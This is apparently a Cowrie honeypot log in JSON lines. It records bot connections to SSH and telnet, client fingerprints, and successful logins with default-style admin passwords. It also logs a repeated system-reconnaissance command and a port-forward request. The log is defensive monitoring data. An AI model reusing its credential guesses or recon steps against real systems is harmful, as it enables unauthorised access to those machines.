{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:08.988593Z","src_ip":"87.251.64.176","session":"d01cbd98fd28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:09.292572Z","src_ip":"87.251.64.176","session":"d01cbd98fd28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:09.391526Z","session":"d01cbd98fd28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:09.488765Z","src_ip":"87.251.64.176","session":"d01cbd98fd28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:09.590373Z","src_ip":"87.251.64.176","session":"d01cbd98fd28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47376,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f9eacc17097","protocol":"ssh","message":"New connection: 159.203.92.129:47376 (159.203.135.109:22) [session: 1f9eacc17097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.766073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.769966Z","src_ip":"159.203.92.129","session":"1f9eacc17097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.773643Z","src_ip":"159.203.92.129","session":"1f9eacc17097","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.782934Z","src_ip":"159.203.92.129","session":"1f9eacc17097","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.825517Z","src_ip":"159.203.92.129","session":"1f9eacc17097","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.828671Z","src_ip":"159.203.92.129","session":"1f9eacc17097","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.832963Z","src_ip":"159.203.92.129","session":"1f9eacc17097","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.844456Z","src_ip":"159.203.92.129","session":"1f9eacc17097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:47.849919Z","src_ip":"159.203.92.129","session":"1f9eacc17097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01060557365417,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:57.060057Z","src_ip":"216.131.72.138","session":"ddc529a427b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":35946,"dst_ip":"159.203.135.109","dst_port":23,"session":"c66c1523f5ec","protocol":"telnet","message":"New connection: 216.131.72.138:35946 (159.203.135.109:23) [session: c66c1523f5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:57.244118Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52808,"dst_ip":"159.203.135.109","dst_port":22,"session":"8967b9c96fdf","protocol":"ssh","message":"New connection: 159.203.92.129:52808 (159.203.135.109:22) [session: 8967b9c96fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.468637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.473255Z","src_ip":"159.203.92.129","session":"8967b9c96fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.477634Z","src_ip":"159.203.92.129","session":"8967b9c96fdf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@#","message":"login attempt [admin/admin!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.486085Z","src_ip":"159.203.92.129","session":"8967b9c96fdf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.528752Z","src_ip":"159.203.92.129","session":"8967b9c96fdf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.532183Z","src_ip":"159.203.92.129","session":"8967b9c96fdf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.536428Z","src_ip":"159.203.92.129","session":"8967b9c96fdf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.546131Z","src_ip":"159.203.92.129","session":"8967b9c96fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:29.551097Z","src_ip":"159.203.92.129","session":"8967b9c96fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":45722,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b96167152d","protocol":"telnet","message":"New connection: 49.88.156.34:45722 (10.17.0.5:23) [session: 61b96167152d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:54:41.911412Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54306,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1e9f64b239b","protocol":"ssh","message":"New connection: 159.203.92.129:54306 (159.203.135.109:22) [session: f1e9f64b239b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.661796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.667089Z","src_ip":"159.203.92.129","session":"f1e9f64b239b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.672892Z","src_ip":"159.203.92.129","session":"f1e9f64b239b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin-123","message":"login attempt [admin/admin-123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.704029Z","src_ip":"159.203.92.129","session":"f1e9f64b239b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.759006Z","src_ip":"159.203.92.129","session":"f1e9f64b239b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.762335Z","src_ip":"159.203.92.129","session":"f1e9f64b239b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.766928Z","src_ip":"159.203.92.129","session":"f1e9f64b239b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.780724Z","src_ip":"159.203.92.129","session":"f1e9f64b239b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:12.785704Z","src_ip":"159.203.92.129","session":"f1e9f64b239b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":45712,"dst_ip":"159.203.135.109","dst_port":23,"session":"34355955ef59","protocol":"telnet","message":"New connection: 5.42.229.203:45712 (159.203.135.109:23) [session: 34355955ef59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:27.867680Z"}
{"eventid":"cowrie.session.closed","duration":57.918179750442505,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:39.829479Z","src_ip":"49.88.156.34","session":"61b96167152d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44802,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ee3710c74c3","protocol":"ssh","message":"New connection: 159.203.92.129:44802 (159.203.135.109:22) [session: 7ee3710c74c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.760990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.764645Z","src_ip":"159.203.92.129","session":"7ee3710c74c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.768583Z","src_ip":"159.203.92.129","session":"7ee3710c74c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin.123","message":"login attempt [admin/admin.123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.780485Z","src_ip":"159.203.92.129","session":"7ee3710c74c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.933885Z","src_ip":"159.203.92.129","session":"7ee3710c74c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.937491Z","src_ip":"159.203.92.129","session":"7ee3710c74c3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.941695Z","src_ip":"159.203.92.129","session":"7ee3710c74c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.950189Z","src_ip":"159.203.92.129","session":"7ee3710c74c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:54.954411Z","src_ip":"159.203.92.129","session":"7ee3710c74c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0036108493805,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:57.247602Z","src_ip":"216.131.72.138","session":"c66c1523f5ec","protocol":"telnet"}
